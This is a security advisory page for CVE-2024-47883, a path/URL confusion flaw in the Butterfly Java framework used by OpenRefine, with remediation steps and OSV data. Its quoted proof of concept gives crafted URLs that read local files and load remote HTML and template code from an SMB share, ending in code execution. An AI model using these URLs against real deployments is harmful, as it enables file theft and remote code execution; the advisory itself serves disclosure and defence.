CVE-2024-47883: Butterfly Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-3p8v-w8mr-m3x8
CVSS 9.1
CWE-36 CWE-918 CWE-22
Published
Advisory Summary

CVE-2024-47883 is a CRITICAL (CVSS 9.1) remote code execution vulnerability (CWE-36: Absolute Path Traversal) affecting Butterfly libraries in the Maven ecosystem. The issue involves butterfly has path/url confusion in resource handling leading to multiple weaknesses. Remediation is available by upgrading affected packages to version 1.2.6.

CVE-2024-47883 at a Glance

CVE Identifier CVE-2024-47883
GHSA Identifier GHSA-3p8v-w8mr-m3x8
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-36: Absolute Path Traversal
Affected Product Butterfly
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2024-47883

To remediate this vulnerability, upgrade all affected Butterfly dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.openrefine.dependencies:butterfly fixed: 1.2.6
<dependency>
    <groupId>org.openrefine.dependencies</groupId>
    <artifactId>butterfly</artifactId>
    <version>1.2.6</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.openrefine.dependencies

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2024-47883, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.openrefine.dependencies

Analyze the terminal output to locate any version of Butterfly in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.6), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.openrefine.dependencies command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-36: Absolute Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory. In Butterfly, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Butterfly framework uses the `java.net.URL` class to refer to (what are expected to be) local resource files, like images or templates. This works: "opening a connection" to these URLs opens the local file. However, if a `file:/` URL is directly given where a relative path (resource name) is expected, this is also accepted in some code paths; the app then fetches the file, from a remote machine if indicated, and uses it as if it was a trusted part of the app's codebase. This leads to multiple weaknesses and potential weaknesses: * An attacker that has network access to the application could use it to gain access to files, either on the the server's filesystem (path traversal) or shared by nearby machines (server-side request forgery with e.g. SMB). * An attacker that can lead or redirect a user to a crafted URL belonging to the app could cause arbitrary attacker-controlled JavaScript to be loaded in the victim's browser (cross-site scripting). * If an app is written in such a way that an attacker can influence the resource name used for a template, that attacker could cause the app to fetch and execute an attacker-controlled template (remote code execution). ### Details The `edu.mit.simile.butterfly.ButterflyModuleImpl.getResource` method converts a resource name into an URL, for instance: ``` images/logo-gem-126.svg file:/C:/Users/Wander/IdeaProjects/OpenRefine/main/webapp/modules/core/images/logo-gem-126.svg ``` If the resource name already starts with `file:/`, it is passed through unmodified (line 287). There is no check that the resulting URL is inside the expected directory or on the same machine. The default implementation for `process` in `ButterflyModuleImpl` is to serve a named resource, which makes it vulnerable. The Velocity template library is bound to the same `getResource` implementation through the `ButterflyResourceLoader` class, which means it is also vulnerable if template resource names can somehow be influenced by an attacker. ### PoC This demonstration has been tested with [OpenRefine](https://github.com/OpenRefine/OpenRefine) on a Windows machine. Start OpenRefine, create a file (here `example.js`) with some contents, then concatenate the OpenRefine URL and its `file:/` URL, as follows: http://localhost:3333/file:/C:/Users/Wander/example.js The file is read and sent to the browser. Then, visit: http://localhost:3333/file:%2f%2fwandernauta.nl/public/demo.html Assuming there are no firewalls in the way, the HTML page is retrieved from the public SMB (Samba) network share and sent to the browser, which executes the embedded JavaScript. In the case of OpenRefine specifically, to demonstrate the attacker-controlled template name case: http://localhost:3333/file:%2f%2fwandernauta.nl/public/index An `index.vt` template containing the snippet above is retrieved from the same share, which is then executed; the Windows calculator opens. ### Impact Depending on how the framework is used: path traversal, XSS, SSRF; potentially RCE.

CVE-2024-47883 Affected Butterfly Versions

1 component(s)
Fixed Versions:
1.2.6
Product / Package Ecosystem Affected Versions Fixed Version
org.openrefine.dependencies:butterfly
Maven
< 1.2.6
1.2.6

References

Frequently Asked Questions

What is CVE-2024-47883?
CVE-2024-47883 is a security vulnerability in Butterfly involving Butterfly has path/URL confusion in resource handling leading to multiple weaknesses under CWE-36: Absolute Path Traversal.
Which Butterfly versions are affected?
Affected versions include releases prior to 1.2.6 across affected packages: org.openrefine.dependencies:butterfly.
What version fixes CVE-2024-47883?
Upgrading to 1.2.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is butterfly affected?
Yes, org.openrefine.dependencies:butterfly is affected in releases prior to 1.2.6. Upgrade your dependency to 1.2.6 or later.
What is the CVSS score of CVE-2024-47883?
CVE-2024-47883 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2024-47883?
CVE-2024-47883 is classified under CWE-36: Absolute Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.).
How can I check Maven dependencies for CVE-2024-47883?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.openrefine.dependencies'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3p8v-w8mr-m3x8",
  "modified" : "2024-10-24T21:46:18Z",
  "published" : "2024-10-24T18:16:43Z",
  "aliases" : [ "CVE-2024-47883" ],
  "summary" : "Butterfly has path/URL confusion in resource handling leading to multiple weaknesses",
  "details" : "### Summary\n\nThe Butterfly framework uses the `java.net.URL` class to refer to (what are expected to be) local resource files, like images or templates. This works: \"opening a connection\" to these URLs opens the local file. However, if a `file:/` URL is directly given where a relative path (resource name) is expected, this is also accepted in some code paths; the app then fetches the file, from a remote machine if indicated, and uses it as if it was a trusted part of the app's codebase.\n\nThis leads to multiple weaknesses and potential weaknesses:\n\n* An attacker that has network access to the application could use it to gain access to files, either on the the server's filesystem (path traversal) or shared by nearby machines (server-side request forgery with e.g. SMB).\n* An attacker that can lead or redirect a user to a crafted URL belonging to the app could cause arbitrary attacker-controlled JavaScript to be loaded in the victim's browser (cross-site scripting).\n* If an app is written in such a way that an attacker can influence the resource name used for a template, that attacker could cause the app to fetch and execute an attacker-controlled template (remote code execution).\n\n### Details\n\nThe `edu.mit.simile.butterfly.ButterflyModuleImpl.getResource` method converts a resource name into an URL, for instance:\n\n```\nimages/logo-gem-126.svg\nfile:/C:/Users/Wander/IdeaProjects/OpenRefine/main/webapp/modules/core/images/logo-gem-126.svg\n```\n\nIf the resource name already starts with `file:/`, it is passed through unmodified (line 287). There is no check that the resulting URL is inside the expected directory or on the same machine.\n\nThe default implementation for `process` in `ButterflyModuleImpl` is to serve a named resource, which makes it vulnerable. The Velocity template library is bound to the same `getResource` implementation through the `ButterflyResourceLoader` class, which means it is also vulnerable if template resource names can somehow be influenced by an attacker.\n\n### PoC\n\nThis demonstration has been tested with [OpenRefine](https://github.com/OpenRefine/OpenRefine) on a Windows machine. Start OpenRefine, create a file (here `example.js`) with some contents, then concatenate the OpenRefine URL and its `file:/` URL, as follows:\n\n    http://localhost:3333/file:/C:/Users/Wander/example.js\n\nThe file is read and sent to the browser. Then, visit:\n\n    http://localhost:3333/file:%2f%2fwandernauta.nl/public/demo.html\n\nAssuming there are no firewalls in the way, the HTML page is retrieved from the public SMB (Samba) network share and sent to the browser, which executes the embedded JavaScript.\n\nIn the case of OpenRefine specifically, to demonstrate the attacker-controlled template name case:\n\n    http://localhost:3333/file:%2f%2fwandernauta.nl/public/index\n\nAn `index.vt` template containing the snippet above is retrieved from the same share, which is then executed; the Windows calculator opens.\n\n### Impact\n\nDepending on how the framework is used: path traversal, XSS, SSRF; potentially RCE.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.openrefine.dependencies:butterfly"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.2.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OpenRefine/simile-butterfly/security/advisories/GHSA-3p8v-w8mr-m3x8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-47883"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OpenRefine/simile-butterfly/commit/537f64bfa72746f8b21d4bda461fad843435319c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OpenRefine/simile-butterfly"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-36", "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-10-24T18:16:43Z",
    "nvd_published_at" : "2024-10-24T21:15:13Z"
  }
}